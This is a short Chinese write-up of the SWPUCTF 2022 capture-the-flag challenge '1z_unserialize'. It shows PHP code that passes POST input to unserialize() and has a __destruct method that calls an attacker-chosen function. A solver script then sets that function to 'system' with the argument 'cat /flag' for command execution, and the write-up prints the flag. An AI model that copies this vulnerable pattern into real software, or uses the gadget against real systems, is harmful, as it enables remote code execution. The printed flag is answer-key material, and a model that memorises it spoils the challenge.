[SWPUCTF 2022 新生赛]1z_unserialize

[SWPUCTF 2022 新生赛]1z_unserialize

May 27, 2025

题目代码:

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 

构造 payload:NSSCTF{691a9620-742e-4191-90b9-d29a8da251eb}

<?php

class lyh{
    public $url = null;
    public $lt = "system";
    public $lly = "cat /flag";
}

echo serialize(new lyh());

获得 flag:NSSCTF{691a9620-742e-4191-90b9-d29a8da251eb}